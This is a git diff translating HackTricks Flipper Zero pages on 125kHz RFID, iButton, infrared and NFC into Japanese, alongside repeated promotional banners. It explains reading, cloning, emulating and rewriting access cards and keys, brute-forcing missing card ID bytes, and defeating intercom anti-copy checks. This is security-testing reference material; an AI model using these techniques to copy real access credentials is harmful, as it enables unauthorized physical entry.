iButtons:** [**iButton**](../ibutton.md)**** -* **Use is as Bad USB** -* **Use it as security key (U2F)** -* **Play Snake** +* **ラジオ周波数の聴取/キャプチャ/リプレイ:** [**Sub-GHz**](fz-sub-ghz.md)**** +* **NFCカードの読み取り/キャプチャ/エミュレーション:** [**NFC**](fz-nfc.md)**** +* **125kHzタグの読み取り/キャプチャ/エミュレーション:** [**125kHz RFID**](fz-125khz-rfid.md)**** +* **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md)**** +* **iButtonの読み取り/キャプチャ/エミュレーション:** [**iButton**](../ibutton.md)**** +* **Bad USBとして使用する** +* **セキュリティキー(U2F)として使用する** +* **スネークをプレイする** -**Other Flipper Zero resources in** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)**** +**その他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero) **にあります。**
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md index c045c5dcf..22fd34579 100644 --- a/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md +++ b/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md @@ -4,60 +4,60 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Intro +## イントロ -For more info about how 125kHz tags work check: +125kHzタグの動作についての詳細は、次を参照してください: {% content-ref url="../../../radio-hacking/pentesting-rfid.md" %} [pentesting-rfid.md](../../../radio-hacking/pentesting-rfid.md) {% endcontent-ref %} -## Actions +## アクション -For more info about these types of tags [**read this intro**](../../../radio-hacking/pentesting-rfid.md#low-frequency-rfid-tags-125khz). +これらのタイプのタグについての詳細は、[**このイントロ**](../../../radio-hacking/pentesting-rfid.md#low-frequency-rfid-tags-125khz)を読んでください。 -### Read +### 読み取り -Tries to **read** the card info. Then it can **emulate** them. +カード情報を**読み取る**試みをします。その後、それらを**エミュレート**することができます。 {% hint style="warning" %} -Note that some intercoms try to protect themselves from key duplication by sending a write command prior to reading. If the write succeeds, that tag is considered fake. When Flipper emulates RFID there is no way for the reader to distinguish it from the original one, so no such problems occur. +一部のインターコムは、キーの複製を防ぐために、読み取りの前に書き込みコマンドを送信することで自己保護しようとします。書き込みが成功した場合、そのタグは偽物と見なされます。FlipperがRFIDをエミュレートすると、リーダーはオリジナルと区別する方法がないため、このような問題は発生しません。 {% endhint %} -### Add Manually +### 手動で追加 -You can create **fake cards in Flipper Zero indicating the data** you manually and then emulate it. +Flipper Zeroで**データを手動で指定して**偽のカードを作成し、それをエミュレートすることができます。 -#### IDs on cards +#### カード上のID -Some times, when you get a card you will find the ID (or part) of it written in the card visible. +カードを取得すると、カードに書かれたID(または一部)が見える場合があります。 * **EM Marin** -For example in this EM-Marin card in the physical card is possible to **read the last 3 of 5 bytes in clear**.\ -The other 2 can be brute-forced if you cannot read them from the card. +たとえば、このEM-Marinカードでは、物理カードに**下位3バイトのうちの5バイトをクリアで読み取る**ことができます。\ +カードから読み取ることができない場合は、ブルートフォースで残りの2バイトを推測することができます。
* **HID** -Same happens in this HID card where only 2 out of 3 bytes can be found printed in the card +同様に、このHIDカードでは、カードに印刷された3バイトのうち2バイトしか見つかりません。
-### Emulate/Write +### エミュレート/書き込み -After **copying** a card or **entering** the ID **manually** it's possible to **emulate** it with Flipper Zero or **write** it in a real card. +カードを**コピー**したり、IDを**手動で入力**した後、Flipper Zeroでそれを**エミュレート**するか、実際のカードに**書き込む**ことができます。 -## References +## 参考文献 * [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) @@ -65,10 +65,10 @@ After **copying** a card or **entering** the ID **manually** it's possible to ** ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/todo/radio-hacking/flipper-zero/fz-ibutton.md b/todo/radio-hacking/flipper-zero/fz-ibutton.md index 50831ea8c..f75b69816 100644 --- a/todo/radio-hacking/flipper-zero/fz-ibutton.md +++ b/todo/radio-hacking/flipper-zero/fz-ibutton.md @@ -4,49 +4,49 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Intro +## イントロ -For more info about what is an iButton check: +iButtonとは何かについての詳細は、次を参照してください: {% content-ref url="../ibutton.md" %} [ibutton.md](../ibutton.md) {% endcontent-ref %} -## Design +## デザイン -The **blue** part of the following imageis how you would need to **put the real iButton** so the Flipper can **read it.** The **green** part is how you need to **touch the reader** with the Flipper zero to **correctly emulate an iButton**. +次の画像の**青い**部分は、Flipperが**実際のiButtonを読み取るために配置する**必要がある場所です。**緑色**の部分は、Flipper zeroが**正しくiButtonをエミュレートするためにリーダーに触れる**必要がある場所です。
-## Actions +## アクション -### Read +### 読み取り -In Read Mode Flipper is waiting for the iButton key to touch and is able to digest any of three types of keys: **Dallas, Cyfral, and Metakom**. Flipper will **figure out the type of the key itself**. The name of the key protocol will be displayed on the screen above the ID number. +読み取りモードでは、FlipperはiButtonキーがタッチされるのを待ち、**Dallas、Cyfral、Metakom**の3種類のキーを読み取ることができます。Flipperはキーのプロトコルの種類を自動的に判別します。キーのプロトコル名は、ID番号の上に画面に表示されます。 -### Add manually +### 手動で追加 -It's possible to **add manually** an iButton of type: **Dallas, Cyfral, and Metakom** +**Dallas、Cyfral、Metakom**のタイプのiButtonを手動で追加することができます。 -### **Emulate** +### エミュレート -It's possible to **emulate** saved iButtons (read or manually added). +保存されたiButton(読み取りまたは手動で追加)をエミュレートすることができます。 {% hint style="info" %} -If you cannot make the expected contacts of the Flipper Zero touch the reader you can **use the external GPIO:** +Flipper Zeroの予想される接点がリーダーに触れることができない場合は、**外部GPIOを使用**することができます。 {% endhint %}
-## References +## 参考文献 * [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) @@ -54,10 +54,10 @@ If you cannot make the expected contacts of the Flipper Zero touch the reader yo ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/todo/radio-hacking/flipper-zero/fz-infrared.md b/todo/radio-hacking/flipper-zero/fz-infrared.md index e7669ee66..1471a3a56 100644 --- a/todo/radio-hacking/flipper-zero/fz-infrared.md +++ b/todo/radio-hacking/flipper-zero/fz-infrared.md @@ -1,49 +1,49 @@ -# FZ - Infrared +# FZ - 赤外線
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Intro +## イントロ -For more info about how Infrared works check: +赤外線の動作についての詳細は、次を参照してください: {% content-ref url="../infrared.md" %} [infrared.md](../infrared.md) {% endcontent-ref %} -## IR Signal Receiver in Flipper Zero +## Flipper Zeroの赤外線信号受信機能 -Flipper uses a digital IR signal receiver TSOP, which **allows intercepting signals from IR remotes**. There are some **smartphones** like Xiaomi, which also have an IR port, but keep in mind that **most of them can only transmit** signals and are **unable to receive** them. +Flipperは、IRリモコンからの信号を傍受することができるデジタルIR信号受信機TSOPを使用しています。Xiaomiなどの一部の**スマートフォン**にもIRポートがありますが、**ほとんどのスマートフォンは送信のみ**であり、受信はできません。 -The Flipper infrared **receiver is quite sensitive**. You can even **catch the signal** while remaining **somewhere in between** the remote and the TV. Pointing the remote directly at Flipper's IR port is unnecessary. This comes in handy when someone is switching channels while standing near the TV, and both you and Flipper are some distance away. +Flipperの赤外線受信機能は非常に感度が高いです。リモコンとテレビの間のどこかにいながら、信号を**キャッチ**することができます。FlipperのIRポートにリモコンを直接向ける必要はありません。これは、誰かがテレビの近くでチャンネルを切り替えているときに便利です。あなたとFlipperはお互いに離れている場合でも、信号をキャッチすることができます。 -As the **decoding of the infrared** signal happens on the **software** side, Flipper Zero potentially supports the **reception and transmission of any IR remote codes**. In the case of **unknown** protocols which could not be recognized - it **records and plays back** the raw signal exactly as received. +赤外線のデコードはソフトウェア側で行われるため、Flipper Zeroは原則として**任意のIRリモコンコードの受信と送信**をサポートしています。認識できないプロトコルの場合は、受信した生の信号を**記録して再生**します。 -## Actions +## アクション -### Universal Remotes +### ユニバーサルリモコン -Flipper Zero can be used as a **universal remote to control any TV, air conditioner, or media center**. In this mode, Flipper **bruteforces** all **known codes** of all supported manufacturers **according to the dictionary from the SD card**. You don't need to choose a particular remote to turn of a restaurant TV. +Flipper Zeroは、**どのテレビ、エアコン、メディアセンター**でも使用できるユニバーサルリモコンとして使用することができます。このモードでは、FlipperはSDカードの辞書に基づいて、すべてのサポートされているメーカーの**すべての既知のコードをブルートフォース**します。特定のリモコンを選ぶ必要はありません。 -It is enough to press the power button in the Universal Remote mode, and Flipper will **sequentially send "Power Off"** commands of all the TVs it knows: Sony, Samsung, Panasonic... and so on. When the TV receives its signal, it will react and turn off. +ユニバーサルリモコンモードで電源ボタンを押すだけで、Flipperは知っているすべてのテレビ(Sony、Samsung、Panasonicなど)に「電源オフ」コマンドを順番に送信します。テレビが信号を受け取ると、反応して電源が切れます。 -Such brute-force takes time. The larger the dictionary, the longer it will take to finish. It is impossible to find out which signal exactly the TV recognized since there is no feedback from the TV. +このようなブルートフォースには時間がかかります。辞書が大きいほど、終了するまでに時間がかかります。テレビが正確にどの信号を認識したかはわかりません。テレビからのフィードバックはありません。 -### Learn New Remote +### 新しいリモコンの学習 -It's possible to **capture an infrared signal** with Flipper Zero. If it **finds the signal in the database** Flipper will automatically **know which device this is** and will let you interact with it.\ -If it doesn't, Flipper can **store** the **signal** and will allow you to **replay it**. +Flipper Zeroで赤外線信号を**キャプチャ**することができます。Flipperがデータベースで信号を**見つけると、どのデバイスかを自動的に知り**、それとやり取りすることができます。\ +見つからない場合、Flipperは信号を**保存**し、再生することができます。 -## References +## 参考文献 * [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/) @@ -51,10 +51,10 @@ If it doesn't, Flipper can **store** the **signal** and will allow you to **repl ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/todo/radio-hacking/flipper-zero/fz-nfc.md b/todo/radio-hacking/flipper-zero/fz-nfc.md index 6fdf3da3c..26f87d307 100644 --- a/todo/radio-hacking/flipper-zero/fz-nfc.md +++ b/todo/radio-hacking/flipper-zero/fz-nfc.md @@ -4,86 +4,85 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Intro +## イントロ -For info about RFID and NFC check the following page: +RFIDとNFCに関する情報は、次のページを参照してください: {% content-ref url="../../../radio-hacking/pentesting-rfid.md" %} [pentesting-rfid.md](../../../radio-hacking/pentesting-rfid.md) {% endcontent-ref %} -## Supported NFC cards +## サポートされているNFCカード {% hint style="danger" %} -Apart from NFC cards Flipper Zero supports **other type of High-frequency cards** such as several **Mifare** Classic and Ultralight and **NTAG**. +NFCカード以外にも、Flipper Zeroは**他の種類の高周波カード**(Mifare ClassicやUltralight、NTAGなど)もサポートしています。 {% endhint %} -New types of NFC cards will be added to the list of supported cards. Flipper Zero supports the following **NFC cards type A** (ISO 14443A): +新しいタイプのNFCカードは、サポートされるカードのリストに追加されます。Flipper Zeroは、以下の**NFCカードタイプA**(ISO 14443A)をサポートしています: -* **Bank cards (EMV)** — only read UID, SAK, and ATQA without saving. -* **Unknown cards** — read (UID, SAK, ATQA) and emulate an UID. +* **銀行カード(EMV)** — UID、SAK、ATQAの読み取りのみで保存はしません。 +* **不明なカード** — UID、SAK、ATQAの読み取りとUIDのエミュレーションが可能です。 -For **NFC cards type B, type F, and type V**, Flipper Zero is able to read an UID without saving it. +**NFCカードタイプB、タイプF、タイプV**については、Flipper ZeroはUIDの読み取りのみで保存はしません。 -### NFC cards type A +### NFCカードタイプA -#### Bank card (EMV) +#### 銀行カード(EMV) -Flipper Zero can only read an UID, SAK, ATQA, and stored data on bank cards **without saving**. +Flipper Zeroは、銀行カードのデータを**保存せずに**UID、SAK、ATQA、および保存されたデータを読み取ることができます。 -Bank card reading screenFor bank cards, Flipper Zero can only read data **without saving and emulating it**. +銀行カードの読み取り画面Flipper Zeroは、銀行カードのデータを**保存およびエミュレートせずに**読み取ることができます。
-#### Unknown cards +#### 不明なカード -When Flipper Zero is **unable to determine NFC card's type**, then only an **UID, SAK, and ATQA** can be **read and saved**. +Flipper Zeroが**NFCカードのタイプを特定できない**場合、UID、SAK、ATQAのみを**読み取りおよび保存**することができます。 -Unknown card reading screenFor unknown NFC cards, Flipper Zero can emulate only an UID. +不明なカードの読み取り画面不明なNFCカードの場合、Flipper ZeroはUIDのエミュレーションのみが可能です。
